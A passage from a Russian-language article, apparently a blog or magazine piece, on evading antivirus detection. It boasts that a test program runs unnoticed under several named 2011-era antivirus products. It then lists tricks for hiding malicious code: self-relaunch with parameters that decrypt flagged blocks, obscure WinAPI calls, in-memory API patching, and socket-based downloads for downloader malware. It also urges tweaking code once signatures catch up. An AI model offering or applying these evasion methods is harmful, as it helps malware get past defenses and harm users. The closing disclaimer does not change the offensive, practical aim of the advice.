Теперь программа не то что не определяется, но и даже спокойно выполняется под контролем всех антивирусов, которые я перечислил в начале статьи - Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и Avast. Такими результатами вполне можно гордиться. Как мы только что выяснили, ни один из этих антивирусов не эмулирует PEB и ядро kernel32, подгруженное всегда в любой процесс Windows (или просто не знает ничего о функции QueryDosDevice, или вообще и то и то одновременно).

Скорее всего, после написания этой статьи такой способ быстро будет обнаруживаться по сигнатурам, но это ведь не мешает немного изменить код и добиться прежнего результата?

А теперь еще несколько мыслей по обходу, которые могут сработать (и точно работают со многими антивирусами). Эти способы совершенно не новы, но это не делает их устаревшими и неактуальными.

1. Запуск программой самой себя с некоторыми параметрами командной строки, обработка параметров и выбор пути дальнейшего действия в зависимости от переданных параметров, либо же использование переданных параметров для расшифровки некоторого блока кода, который не нравится антивирусам.

3. Использование в коде большого количества малоизвестных WinAPI-функций (что, впрочем, я сделал в этом примере), применение возвращенных значений или кодов ошибок в дальнейшей логике программы.

4. Запись собственного кода в некое место штатной API-функции в памяти (это, естественно, затронет только наш процесс, т.к. DLL с API-функциями грузятся в каждый процесс отдельно), а затем ее вызов.

5. Для вирусов типа "скачай из интернета плохой exe-файл - запусти его" можно вместо URLDownloadToFile использовать, например, сокеты либо еще какие-то сетевые API Windows - и количество антивирусов, определяющих такую малварь, сразу уменьшится раза в полтора-два.

Если немного подумать, можно и другие способы привести и реализовать, но этих пока хватит.

Собранный исходный код я не выкладываю, если кого-то заинтересует тема, сможет собрать его и сам. И помните: материал приведен лишь с той целью, чтобы показать слабые места существующих современных антивирусов, а не сподвигнуть вас на написание тонн вирусов - за это нести ответственность будете вы сами.

Читайте также: